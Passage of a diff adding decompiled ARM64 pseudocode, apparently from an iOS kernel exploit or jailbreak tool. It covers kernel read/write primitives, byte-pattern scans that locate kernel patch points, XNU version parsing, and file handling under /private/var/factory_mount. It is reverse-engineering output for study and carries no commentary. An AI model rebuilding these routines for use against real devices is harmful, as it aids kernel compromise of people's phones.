__int64)&v12[a4] >= v11 ) + return 0; + if ( a4 < 2 ) + { +LABEL_11: + result = (char *)v12 + a1[1] - v9; + if ( result ) + return result; + } + else + { + v13 = 1; + while ( (a3[v13] & v12[v13]) == a2[v13] ) + { + if ( a4 == ++v13 ) + goto LABEL_11; + } + } + } + ++v12; + } + while ( (unsigned __int64)v12 < v11 ); + } + return 0; + } + return result; +} +// 1E314: variable 'v8' is possibly undefined + +//----- (000000000001E3C4) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E3C4(__int64 a1, char *a2, const char *a3, char *a4) +{ + unsigned __int64 result; // x0 + __int64 v9; // x22 + __int64 v10[3]; // [xsp+0h] [xbp-50h] BYREF + __int128 v11; // [xsp+18h] [xbp-38h] BYREF + + macho_getsectbyname("__TEXT", a1, "__cstring", &v11); + result = sub_1E0C8(&v11, a4, 0, 33); + if ( result ) + { + v9 = result; + macho_getsectbyname(a2, a1, a3, v10); + return sub_1E1B8(v10, v9, *(unsigned __int8 *)(a1 + 52)); + } + return result; +} + +//----- (000000000001E45C) ---------------------------------------------------- +char *__fastcall sub_1E45C(__int64 a1) +{ + char *result; // x0 + unsigned __int64 v3; // x8 + unsigned int v4; // w20 + const char *v5; // x9 + const char *v6; // x10 + char *v7; // x1 + __int64 v8; // x8 + _QWORD v9[3]; // [xsp+8h] [xbp-58h] BYREF + _QWORD v10[3]; // [xsp+20h] [xbp-40h] BYREF + _QWORD v11[3]; // [xsp+38h] [xbp-28h] BYREF + + if ( krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), 8) ) + { + sub_19D10(a1, v11); + result = (char *)kernel_pattern_scan((__int64)v11, "08 FD 64 D3 1F 21 00 F1 .. 00 00 54", 0); + if ( !result ) + return result; + v3 = (unsigned __int64)(result + 12); + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + if ( *(_QWORD *)(a1 + 136) >= 0x22581401900000uLL && !krw_ctx_has_flag(*(struct_krwCtx **)(a1 + 280), 0x2000) ) + { + sub_19D10(a1, v10); + result = (char *)kernel_pattern_scan((__int64)v10, ".. FD .. D3 .. 00 00 B5", 0); + if ( !result ) + return result; + v3 = (unsigned __int64)(result + 8); + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + v4 = sub_1E598(a1); + sub_19D10(a1, v9); + v5 = "6B FD 62 D3 7F 19 00 F1 .. .. .. 54"; + v6 = ".. 01 .. 8B 88 D0 38 D5 E8 00 00 B5"; + if ( v4 != 1 ) + v6 = 0; + if ( v4 <= 1 ) + v5 = v6; + if ( v4 <= 4 ) + v7 = (char *)v5; + else + v7 = ".. FD .. D3 .. .. 00 F1 .. .. .. 54"; + result = (char *)kernel_pattern_scan((__int64)v9, v7, 0); + v8 = 12; + if ( v4 <= 1 ) + v8 = -8; + if ( result ) + { + v3 = (unsigned __int64)&result[v8]; + return sub_1EB2C((__int64 *)a1, (__int64 *)(v3 & 0xFFFFFFFFFFFFFFFCLL), 1); + } + return result; +} + +//----- (000000000001E598) ---------------------------------------------------- +__int64 __fastcall sub_1E598(__int64 a1) +{ + int v1; // w8 + + v1 = *(_DWORD *)(a1 + 112); + if ( v1 > 8791 ) + { + if ( v1 == 8792 || v1 == 8796 ) + return 5LL; + if ( v1 == 10002 ) + return 6LL; + } + else + { + if ( (unsigned int)(v1 - 8019) < 2 ) + return 4LL; + if ( v1 == 6153 ) + return 2LL; + if ( v1 == 7195 ) + return 3LL; + } + return 0LL; +} + +//----- (000000000001E620) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E620(__int64 *a1, __int64 a2) +{ + return (unsigned __int64)sub_1EB2C(a1, (__int64 *)(a2 & 0xFFFFFFFFFFFFFFFCLL), 1); +} + +//----- (000000000001E62C) ---------------------------------------------------- +__int64 __fastcall sub_1E62C(__int64 *a1) +{ + unsigned int v2; // w20 + bool v3; // zf + unsigned __int64 v4; // x0 + unsigned __int64 v5; // x8 + const char *v6; // x8 + char *v7; // x1 + __int64 result; // x0 + __int128 v9; // [xsp+0h] [xbp-60h] BYREF + __int64 v10; // [xsp+10h] [xbp-50h] + __int64 v11; // [xsp+20h] [xbp-40h] BYREF + __int64 v12; // [xsp+28h] [xbp-38h] + __int64 v13; // [xsp+30h] [xbp-30h] + __int128 v14; // [xsp+38h] [xbp-28h] BYREF + __int64 v15; // [xsp+48h] [xbp-18h] + + v2 = sub_1E598((__int64)a1); + sub_19D10((__int64)a1, &v14); + macho_getsectbyname("__DATA_CONST", (__int64)a1, "__mod_init_func", &v11); + if ( v12 ) + v3 = v13 == 0; + else + v3 = 1; + if ( !v3 ) + { + v4 = sub_19B94(a1, v12); + if ( v4 ) + { + v5 = *((_QWORD *)&v14 + 1) - v4; + if ( *((_QWORD *)&v14 + 1) < v4 && v4 < v15 + *((_QWORD *)&v14 + 1) ) + { + *((_QWORD *)&v14 + 1) = v4; + v15 += v5; + } + } + } + v6 = "68 72 40 B9 08 01 19 32 68 72 00 B9"; + if ( v2 != 1 ) + v6 = 0; + if ( v2 <= 1 ) + v7 = (char *)v6; + else + v7 = "68 82 40 B9 08 01 19 32 68 82 00 B9"; + v9 = v14; + v10 = v15; + result = kernel_pattern_scan((__int64)&v9, v7, 0); + if ( result ) + { + result = (__int64)sub_1EB2C(a1, (__int64 *)((result + 12) & 0xFFFFFFFFFFFFFFFCLL), 1); + if ( result ) + return sub_19B94(a1, result); + } + return result; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000001E728) ---------------------------------------------------- +char *__fastcall sub_1E728(__int64 *a1) +{ + char *result; // x0 + char *v3; // x20 + unsigned __int64 v4; // x21 + _QWORD v5[3]; // [xsp+8h] [xbp-48h] BYREF + + sub_19D10((__int64)a1, v5); + result = (char *)kernel_pattern_scan((__int64)v5, "E0 03 15 AA .. .. .. .. FE 03 13 AA", 0); + if ( result ) + { + result = sub_1E800(a1, (__int64 *)(result + 4)); + if ( result ) + { + v3 = result; + v4 = -4; + while ( ((unsigned int)sub_19ACC(a1, (__int64 *)&v3[v4 + 4]) & 0x9F000000) != 0x90000000 + || (unsigned int)sub_19ACC(a1, (__int64 *)&v3[v4 + 12]) >> 21 != 1112 ) + { + v4 += 4LL; + if ( v4 >= 0xFC ) + return 0; + } + return sub_1EB2C(a1, (__int64 *)&v3[v4 + 4], 1); + } + } + return result; +} + +//----- (000000000001E800) ---------------------------------------------------- +char *__fastcall sub_1E800(__int64 *a1, __int64 *a2) +{ + unsigned int v3; // w0 + unsigned __int64 v4; // x8 + + v3 = (unsigned int)sub_19ACC(a1, a2); + if ( (v3 & 0x7C000000) != 0x14000000 ) + return 0; + v4 = *(_QWORD *)&v3 | 0xFFFFFFFFFE000000LL; + if ( (v3 & 0x2000000) == 0 ) + v4 = v3 & 0x1FFFFFF; + if ( v4 ) + return (char *)a2 + 4 * v4; + else + return 0; +} + +//----- (000000000001E854) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E854(__int64 *a1, __int64 *a2) +{ + return (unsigned __int64)sub_1EB2C(a1, a2, 1); +} + +//----- (000000000001E85C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E85C(__int64 *a1, int *a2) +{ + __int64 v4; // x20 + __int64 v5; // x0 + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x22 + __int64 v8; // x23 + unsigned __int64 v9; // x21 + int v10; // w8 + __int128 v12; // [xsp+0h] [xbp-60h] BYREF + __int64 v13; // [xsp+10h] [xbp-50h] + __int128 v14; // [xsp+18h] [xbp-48h] BYREF + __int64 v15; // [xsp+28h] [xbp-38h] + + v4 = a1[35]; + if ( krw_ctx_has_flag((struct_krwCtx *)v4, 32) ) + { + sub_19D10(*(_QWORD *)(v4 + 6648), &v14); + *((_QWORD *)&v14 + 1) = *((_QWORD *)&v14 + 1) + v15 - 0x20000; + v15 = 0x20000; + v12 = v14; + v13 = 0x20000; + v5 = kernel_pattern_scan((__int64)&v12, "2B 09 40 B9 4B 39 0B 8B", 0); + if ( v5 ) + { + v6 = (unsigned __int64)sub_1EB2C(a1, (__int64 *)(v5 - 40), 1); + if ( v6 ) + { + v7 = v6; + v8 = sub_19B94(a1, v6 - 8); + if ( validate_addr(v4, v8) ) + { + if ( kread32_outptr(v4, v8, &v12) && (unsigned int)(v12 - 1) <= 0x1F ) + { + v9 = sub_19B94(a1, v7); + if ( validate_addr(v4, v9) ) + { + v10 = v12; +LABEL_12: + *a2 = v10; + return v9; + } + } + } + } + } + return 0; + } + else + { + v9 = (unsigned __int64)sub_1E728(a1); + if ( v9 ) + { + v10 = 8; + goto LABEL_12; + } + } + return v9; +} +// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); + +//----- (000000000001E99C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1E99C(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3) +{ + int v6; // w22 + char *v7; // x1 + unsigned __int64 result; // x0 + unsigned __int64 v9; // x23 + unsigned __int64 v10; // x22 + _QWORD v11[3]; // [xsp+8h] [xbp-48h] BYREF + + v6 = sub_1E598(a1); + sub_19D10(a1, v11); + if ( v6 ) + v7 = "5F 00 00 71 20 01 00 54"; + else + v7 = 0; + result = kernel_pattern_scan((__int64)v11, v7, 0); + if ( result ) + { + v9 = result; + result = (unsigned __int64)sub_1EB2C((__int64 *)a1, (__int64 *)(result + 8), 1); + if ( result ) + { + v10 = result; + result = (unsigned __int64)sub_1EB2C((__int64 *)a1, (__int64 *)(v9 + 24), 1); + if ( result ) + { + result = kread64_outptr(*(struct_krwCtx **)(a1 + 280), result, a2); + if ( (_DWORD)result ) + return kread64_outptr(*(struct_krwCtx **)(a1 + 280), v10, a3); + } + } + } + return result; +} + +//----- (000000000001EA70) ---------------------------------------------------- +__int64 __fastcall sub_1EA70(__int64 a1, int a2) +{ + __int64 result; // x0 + __int64 v4; // x21 + __int64 *v5; // x19 + unsigned int v6; // w20 + const char *v7; // x8 + char *v8; // x1 + _QWORD v9[3]; // [xsp+8h] [xbp-38h] BYREF + + if ( a2 > 0 ) + return 0; + v4 = a1 + 8LL * a2; + result = *(_QWORD *)(v4 + 6496); + if ( !result ) + { + if ( a2 ) + return 0; + v5 = *(__int64 **)(a1 + 6648); + v6 = sub_1E598((__int64)v5); + sub_19D10((__int64)v5, v9); + v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52"; + if ( v6 != 1 ) + v7 = 0; + if ( v6 <= 1 ) + v8 = (char *)v7; + else + v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32"; + result = kernel_pattern_scan((__int64)v9, v8, 0); + if ( result ) + { + result = (__int64)sub_1E800(v5, (__int64 *)(result + 12)); + if ( result ) + *(_QWORD *)(v4 + 6496) = result; + } + } + return result; +} + +//----- (000000000001EB2C) ---------------------------------------------------- +char *__fastcall sub_1EB2C(__int64 *a1, __int64 *a2, int a3) +{ + char *v3; // x21 + unsigned int v7; // w0 + unsigned int v8; // w0 + __int64 v9; // x9 + unsigned __int64 v10; // x9 + char *v11; // x9 + unsigned int v13; // w23 + __int64 v14; // x8 + char v15; // w25 + int v16; // w23 + __int64 *v17; // x24 + __int64 *v18; // x22 + unsigned int v19; // w0 + __int64 v20; // x8 + bool v21; // cf + unsigned __int64 v22; // x8 + + if ( ((unsigned __int8)a2 & 3) != 0 ) + return 0; + v7 = (unsigned int)sub_19ACC(a1, a2); + if ( v7 == -721215457 ) + { + v8 = (unsigned int)sub_19ACC(a1, (__int64 *)((char *)a2 + 4)); + v9 = (v8 >> 5) & 0x7FFFF; + if ( ((v8 >> 5) & 0x40000LL) != 0 ) + v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL; + else + v10 = 4 * v9; + v11 = (char *)a2 + v10 + 4; + if ( HIBYTE(v8) == 88 ) + return v11; + else + return 0; + } + v13 = v7; + if ( (v7 & 0x9F000000) == 0x90000000 ) + { + v3 = (char *)(((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)((v7 >> 17) & 0x3000 | (v7 >> 5 << 14))); + } + else + { + if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)sub_19ACC(a1, (__int64 *)((char *)a2 + 4)) != -721215457 ) + return 0; + v14 = (v13 >> 3) & 0x1FFFFC | (v13 >> 29) & 3; + if ( (v14 & 0x100000) != 0 ) + v14 |= 0xFFFFFFFFFFE00000LL; + v3 = (char *)a2 + v14; + } + v15 = 0; + v16 = v13 & 0x1F; + v17 = a2 + 4; + v18 = (__int64 *)((char *)a2 + 4); + while ( 1 ) + { + v19 = (unsigned int)sub_19ACC(a1, v18); + if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 ) + { + if ( ((v19 >> 5) & 0x1F) == v16 ) + { + v20 = (v19 >> 10) & 0xFFF; + if ( (v19 & 0xC00000) != 0 ) + v20 <<= 12; + v3 += v20; + if ( !a3 || v16 != (v19 & 0x1F) ) + return v3; + v15 = 1; + } + else + { + v15 = 0; + } + } + if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (unsigned __int64)((v19 >> 10) & 0xFFF) << (v19 >> 30); + goto LABEL_40; + } + if ( (v19 & 0xFFC00000) == 0xB9800000 ) + break; + if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (v19 >> 10) & 0xFFF; + goto LABEL_40; + } +LABEL_35: + if ( v19 != -698416192 ) + { + v21 = v17 >= v18; + v18 = (__int64 *)((char *)v18 + 4); + if ( v21 ) + continue; + } + return v3; + } + if ( ((v19 >> 5) & 0x1F) != v16 ) + goto LABEL_35; + v22 = (v19 >> 8) & 0x3FFC; +LABEL_40: + v3 += v22; + return v3; +} + +//----- (000000000001ED50) ---------------------------------------------------- +__int64 __fastcall sub_1ED50(char *a1, size_t a2) +{ + host_t v4; // w0 + kern_return_t v5; // w0 + int v7; // w19 + int v8; // w8 + int v9[2]; // [xsp+8h] [xbp-238h] BYREF + size_t v10; // [xsp+10h] [xbp-230h] BYREF + kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF + + if ( dyldVersionNumber < 800.0 ) + { + v4 = mach_host_self(); + v5 = host_kernel_version(v4, kernel_version); + if ( v5 ) + return v5 | 0x80000000; + goto LABEL_8; + } + *(_QWORD *)v9 = 0x400000001LL; + v10 = 512; + if ( !sysctl(v9, 2u, kernel_version, &v10, 0, 0) ) + { +LABEL_8: + if ( strlen(kernel_version) + 1 > a2 ) + return 708620; + strlcpy(a1, kernel_version, a2); + return 0; + } + v7 = *__error(); + v8 = *__error(); + if ( v7 < 0 ) + v8 = -v8; + return v8 | 0x40000000u; +} + +//----- (000000000001EE6C) ---------------------------------------------------- +__n128 __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3) +{ + __n128 result; // q0 + char *v7; // x0 + int v8; // w0 + size_t v9; // x0 + char *v10; // x0 + __int32 v11[4]; // [xsp+40h] [xbp-250h] + __int8 v12[8]; // [xsp+50h] [xbp-240h] + char str[512]; // [xsp+58h] [xbp-238h] BYREF + + *(_QWORD *)v12 = 0; + v11[0] = 0; + if ( dyldVersionNumber >= 1000.0 ) + { + __strlcpy_chk(); + v9 = strlen(str); + if ( v9 ) + { + if ( str[v9 - 1] == 10 ) + str[v9 - 1] = 0; + if ( madvise(0, 0, 10) ) + { + if ( *__error() == 45 ) + { + v10 = strstr(str, "Libsyscall-"); + if ( v10 ) + { + v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s"); +LABEL_13: + if ( v8 >= 3 ) + { + *a2 = 1; + *a3 = 1; + v11[1] = 0; + *(_QWORD *)&v11[2] = 0; + v12[0] = 1; + result = 0u; + xnuMajorVersion->qword20 = *(_QWORD *)v12; + xnuMajorVersion->majorVersion = 0u; + xnuMajorVersion->oword10 = *(_OWORD *)v11; + } + } + } + } + } + } + else if ( !(unsigned int)sub_1ED50(str, 0x200u) ) + { + if ( strstr(str, "RELEASE") ) + { + v7 = strstr(str, "xnu-"); + if ( v7 ) + { + v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s"); + goto LABEL_13; + } + } + } + return result; +} + +//----- (000000000001F07C) ---------------------------------------------------- +__int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3) +{ + mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-34h] BYREF + int info; // [xsp+10h] [xbp-30h] BYREF + __int64 v7; // [xsp+18h] [xbp-28h] + __int64 v8; // [xsp+20h] [xbp-20h] + + infoCnt = 8; + if ( mach_vm_page_info(a1, a2, 1, &info, &infoCnt) ) + return 0; + if ( a3 ) + *a3 = v8; + return v7; +} + +//----- (000000000001F0D8) ---------------------------------------------------- +__int64 number_of_cpus() +{ + return (unsigned __int8)((unsigned int)j___get_cpu_capabilities() >> 0x10); +} +// 4103C: using guessed type __int64 j___get_cpu_capabilities(void); + +//----- (000000000001F0F4) ---------------------------------------------------- +unsigned __int64 sub_1F0F4() +{ + unsigned __int64 result; // x0 + + result = sub_41040(); + if ( result ) + return *(_QWORD *)(result + 56); + return result; +} + +//----- (000000000001F114) ---------------------------------------------------- +__int64 sub_1F114() +{ + host_t v0; // w0 + vm_size_t v2; // [xsp+8h] [xbp-8h] BYREF + + v0 = mach_host_self(); + if ( host_page_size(v0, &v2) ) + return 0; + else + return (unsigned int)v2; +} + +//----- (000000000001F148) ---------------------------------------------------- +__int64 __fastcall sub_1F148(task_name_t a1) +{ + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-17Ch] BYREF + integer_t task_info_out[90]; // [xsp+8h] [xbp-178h] BYREF + + task_info_outCnt = 36; + if ( task_info(a1, 0x16u, task_info_out, &task_info_outCnt) ) + return 0; + else + return (unsigned int)task_info_out[3]; +} + +//----- (000000000001F190) ---------------------------------------------------- +__int64 sub_1F190() +{ + int v0; // w8 + unsigned int StatusReg; // w9 + + if ( dyldVersionNumber >= 900.0 ) + { + v0 = 4095; + StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)); + } + else + { + v0 = 7; + StatusReg = _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 3)); + } + return v0 & StatusReg; +} + +//----- (000000000001F1C8) ---------------------------------------------------- +__int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3) +{ + __int64 result; // x0 + __int64 v6; // x8 + mach_msg_type_number_t task_info_outCnt; // [xsp+4h] [xbp-18Ch] BYREF + integer_t task_info_out[38]; // [xsp+8h] [xbp-188h] BYREF + __int64 v9; // [xsp+A0h] [xbp-F0h] + __int64 v10; // [xsp+A8h] [xbp-E8h] + + task_info_outCnt = 42; + result = task_info(a1, 0x16u, task_info_out, &task_info_outCnt); + if ( !(_DWORD)result ) + { + if ( task_info_outCnt == 42 ) + { + result = 0; + v6 = v10; + *a2 = v9; + *a3 = v6; + } + else + { + return 4; + } + } + return result; +} + +//----- (000000000001F240) ---------------------------------------------------- +unsigned __int64 __fastcall sub_1F240(_DWORD *a1) +{ + unsigned __int64 result; // x0 + + result = sub_41040(); + if ( result ) + { + *a1 = *(_DWORD *)(result + 128); + return 1; + } + return result; +} + +//----- (000000000001F274) ---------------------------------------------------- +__int64 __fastcall sub_1F274(unsigned int a1, _QWORD *a2) +{ + __int64 v2; // x19 + _DWORD *v5; // x0 + _DWORD *v6; // x22 + _DWORD *v7; // x0 + + v2 = 708617; + if ( a1 < 4 ) + return 708609; + v5 = calloc(0x10u, 1u); + if ( v5 ) + { + v6 = v5; + v7 = calloc(a1, 1u); + *(_QWORD *)v6 = v7; + if ( v7 ) + { + v2 = 0; + *v7 = 211; + v6[2] = 4; + v6[3] = a1; + *a2 = v6; + } + else + { + free(v6); + } + } + return v2; +} + +//----- (000000000001F308) ---------------------------------------------------- +__int64 __fastcall sub_1F308(__int64 *a1, int a2, size_t __n, _QWORD *__src) +{ + __int64 result; // x0 + unsigned int v6; // w9 + unsigned int v7; // w9 + __int64 v8; // x10 + __int64 v9; // x9 + unsigned int v10; // w10 + unsigned int v11; // w8 + int v12; // w20 + + result = 708609; + if ( !BYTE3(__n) ) + { + v6 = ((a2 & 0x7F000000u) - 0x1000000) >> 24; + if ( v6 <= 0xB ) + { + if ( ((1 << v6) & 0xC07) != 0 ) + { + v7 = 4; + } + else if ( ((1 << v6) & 0x380) != 0 ) + { + v7 = (__n + 7) & 0xFFFFFFFC; + } + else + { + if ( v6 != 3 ) + return result; + v7 = 12; + } + v8 = *((unsigned int *)a1 + 2); + if ( v7 > *((_DWORD *)a1 + 3) - (int)v8 ) + return 708620; + v9 = *a1; + *(_DWORD *)(*a1 + v8) = __n | a2; + v10 = *((_DWORD *)a1 + 2) + 4; + *((_DWORD *)a1 + 2) = v10; + v11 = ((a2 & 0x7F000000u) - 0x4000000) >> 24; + if ( v11 - 4 < 3 ) + { + v12 = (__n + 3) & 0xFFFFFFFC; + memcpy((void *)(v9 + v10), __src, (unsigned int)__n); +LABEL_15: + result = 0; + *((_DWORD *)a1 + 2) += v12; + return result; + } + if ( !v11 ) + { + *(_QWORD *)(v9 + v10) = *__src; + v12 = 8; + goto LABEL_15; + } + return 0; + } + } + return result; +} + +//----- (000000000001F418) ---------------------------------------------------- +__int64 __fastcall sub_1F418(__int64 a1, _QWORD *a2, _DWORD *a3) +{ + __int64 v3; // x19 + size_t v5; // x22 + void *v8; // x0 + + v3 = 708609; + if ( *(_QWORD *)a1 ) + { + v5 = *(unsigned int *)(a1 + 8); + if ( (_DWORD)v5 ) + { + if ( *(_DWORD *)(a1 + 12) ) + { + v8 = malloc(*(unsigned int *)(a1 + 8)); + *a2 = v8; + if ( v8 ) + { + memcpy(v8, *(const void **)a1, v5); + v3 = 0; + *a3 = *(_DWORD *)(a1 + 8); + } + else + { + return 708617; + } + } + } + } + return v3; +} + +//----- (000000000001F4A4) ---------------------------------------------------- +__int64 __fastcall sub_1F4A4(void **a1) +{ + void *v2; // x0 + + v2 = *a1; + if ( v2 ) + free(v2); + *a1 = 0; + a1[1] = 0; + free(a1); + return 0; +} + +//----- (000000000001F4E0) ---------------------------------------------------- +__int64 __fastcall fd_make_pipe(int a1[2]) +{ + int v2; // w19 + int v3; // w8 + + if ( pipe(a1) ) + { + v2 = *__error(); + v3 = *__error(); + if ( v2 < 0 ) + v3 = -v3; + return v3 | 0x40000000u; + } + else if ( *a1 == -1 || a1[1] == -1 ) + { + return 163882; + } + else + { + return 0; + } +} + +//----- (000000000001F550) ---------------------------------------------------- +__int64 __fastcall test_read_fd(int *fd) +{ + int v3; // w19 + int v4; // w8 + _BYTE outBuf[256]; // [xsp+8h] [xbp-118h] BYREF + + while ( read(*fd, outBuf, 0x100u) > 0 ) + ; + if ( *__error() == 35 ) + return 0; + v3 = *__error(); + v4 = *__error(); + if ( v3 < 0 ) + v4 = -v4; + return v4 | 0x40000000u; +} + +//----- (000000000001F5F0) ---------------------------------------------------- +__int64 __fastcall setup_two_fds(int *a1) +{ + __int64 result; // x0 + int fd; // w0 + __int64 vars8; // [xsp+18h] [xbp+8h] + + result = setup_fd(*a1); + if ( !(_DWORD)result ) + { + fd = a1[1]; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return setup_fd(fd); + } + return result; +} +// 1F62C: variable 'vars8' is possibly undefined + +//----- (000000000001F63C) ---------------------------------------------------- +__int64 __fastcall setup_fd(int a1) +{ + int v2; // w0 + int v3; // w0 + int v5; // w19 + int v6; // w8 + + if ( a1 == -1 ) + return 0xAD001; + if ( fcntl(a1, 73, 1) != -1 ) + { + v2 = fcntl(a1, 1); + if ( v2 != -1 && fcntl(a1, 2, v2 | 1u) != -1 ) + { + v3 = fcntl(a1, 3); + if ( v3 != -1 && fcntl(a1, 4, v3 | 4u) != -1 ) + return 0; + } + } + v5 = *__error(); + v6 = *__error(); + if ( v5 < 0 ) + v6 = -v6; + return v6 | 0x40000000u; +} + +//----- (000000000001F714) ---------------------------------------------------- +__int64 __fastcall sub_1F714(__int64 a1, const void *a2, size_t a3) +{ + ssize_t v4; // x0 + int v6; // w19 + int v7; // w8 + + v4 = write(*(_DWORD *)(a1 + 4), a2, a3); + if ( v4 < 0 ) + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } + else if ( v4 == a3 ) + { + return 0; + } + else + { + return 163898; + } +} + +//----- (000000000001F770) ---------------------------------------------------- +__int64 __fastcall sub_1F770(int *a1, void *a2, size_t a3) +{ + ssize_t v4; // x0 + int v6; // w19 + int v7; // w8 + + v4 = read(*a1, a2, a3); + if ( v4 < 0 ) + { + v6 = *__error(); + v7 = *__error(); + if ( v6 < 0 ) + v7 = -v7; + return v7 | 0x40000000u; + } + else if ( v4 == a3 ) + { + return 0; + } + else + { + return 163899; + } +} + +//----- (000000000001F7CC) ---------------------------------------------------- +int *__fastcall sub_1F7CC(__int64 a1) +{ + int *result; // x0 + int v3; // w20 + int v4; // w8 + int v5; // w8 + + result = (int *)sub_14F5C(*(_QWORD *)(a1 + 8), *(const char **)a1, 0); + if ( (_DWORD)result ) + { + v3 = *__error(); + result = __error(); + v4 = *result; + if ( v3 < 0 ) + v4 = -v4; + v5 = v4 | 0x40000000; + } + else + { + v5 = 0; + } + *(_DWORD *)(a1 + 16) = v5; + return result; +} + +//----- (000000000001F828) ---------------------------------------------------- +int *__fastcall sub_1F828(int *a1) +{ + int *result; // x0 + int v3; // w8 + int v4; // w20 + int v5; // w8 + + result = (int *)mkdir("/private/var/factory_mount", 0x1FFu); + if ( (_DWORD)result && (result = __error(), *result != 17) ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v3 = v5 | 0x40000000; + } + else + { + v3 = 0; + } + *a1 = v3; + return result; +} + +//----- (000000000001F894) ---------------------------------------------------- +int *__fastcall sub_1F894(__int64 a1) +{ + int *result; // x0 + int v3; // w8 + int v4; // w20 + int v5; // w8 + + result = (int *)mmap( + *(void **)(a1 + 8), + *(_QWORD *)(a1 + 16), + *(_DWORD *)(a1 + 24), + 18, + *(_DWORD *)a1, + *(_QWORD *)(a1 + 32)); + if ( result == (int *)-1LL ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v3 = v5 | 0x40000000; + } + else + { + v3 = 0; + } + *(_DWORD *)(a1 + 40) = v3; + return result; +} + +//----- (000000000001F900) ---------------------------------------------------- +__int64 __fastcall sub_1F900(__int64 a1, int a2, __int64 a3, __int64 a4, int a5, __int64 a6) +{ + int v7; // [xsp+0h] [xbp-30h] BYREF + __int64 v8; // [xsp+8h] [xbp-28h] + __int64 v9; // [xsp+10h] [xbp-20h] + int v10; // [xsp+18h] [xbp-18h] + __int64 v11; // [xsp+20h] [xbp-10h] + unsigned int v12; // [xsp+28h] [xbp-8h] + + v7 = a2; + v8 = a3; + v9 = a4; + v10 = a5; + v11 = a6; + v12 = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_1F894, &v7) ) + return v12; + else + return 0x28003; +} + +//----- (000000000001F964) ---------------------------------------------------- +int *__fastcall sub_1F964(int *a1) +{ + int v2; // w20 + int *result; // x0 + int v4; // w20 + int v5; // w8 + int v6; // w8 + char v7[1025]; // [xsp+17h] [xbp-429h] BYREF + + v2 = *a1; + bzero(v7, 0x401u); + if ( fcntl(v2, 50, v7) || unlink(v7) || (result = (int *)close(v2), (_DWORD)result) ) + { + v4 = *__error(); + result = __error(); + v5 = *result; + if ( v4 < 0 ) + v5 = -v5; + v6 = v5 | 0x40000000; + } + else + { + v6 = 0; + } + a1[1] = v6; + return result; +} + +//----- (000000000001FA28) ---------------------------------------------------- +__int64 __fastcall sub_1FA28(__int64 a1, int a2) +{ + int v3; // [xsp+8h] [xbp-8h] BYREF + unsigned int v4; // [xsp+Ch] [xbp-4h] + + v3 = a2; + v4 = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_1F964, &v3) ) + return v4; + else + return 163843; +} + +//----- (000000000001FA7C) ---------------------------------------------------- +__int64 __fastcall sub_1FA7C(__int64 a1, __int64 a2, int a3, __int64 a4) +{ + __int64 v5; // [xsp+0h] [xbp-20h] BYREF + int v6; // [xsp+8h] [xbp-18h] + __int64 v7; // [xsp+10h] [xbp-10h] + unsigned int v8; // [xsp+18h] [xbp-8h] + + v5 = a2; + v6 = a3; + v7 = a4; + v8 = 708609; + if ( pthread_create_and_join(a1, (__int64)sub_1FADC, &v5) ) + return v8; + else + return 163843; +} + +//----- (000000000001FADC) ---------------------------------------------------- +__int64 __fastcall sub_1FADC(__int64 a1) +{ + const void *v2; // x22 + size_t v3; // x21 + int *v4; // x25 + __int64 result; // x0 + int v6; // w24 + char *v7; // x0 + const char *v8; // x20 + int v9; // w0 + int v10; // w23 + unsigned int v11; // w24 + unsigned __int64 v12; // x0 + int v14; // w20 + int v15; // w8 + int v16; // w0 + int v17; // w21 + int v18; // w8 + char __str[1024]; // [xsp+10h] [xbp-CC0h] BYREF + statfs v20; // [xsp+410h] [xbp-8C0h] BYREF + + v2 = *(const void **)a1; + v3 = *(unsigned int *)(a1 + 8); + v4 = *(int **)(a1 + 16); + bzero(&v20, 0x878u); + result = sub_1FD98(&v20); + v6 = result; + if ( !(_DWORD)result ) + { + snprintf(__str, 0x400u, "%s/temp.XXXXXX", "/private/var/factory_mount"); + v7 = mktemp(__str); + if ( !v7 || (v8 = v7, v9 = open_dprotected_np(v7, 1538, 4, 0, 493), v9 < 0) ) + { + v14 = *__error(); + result = 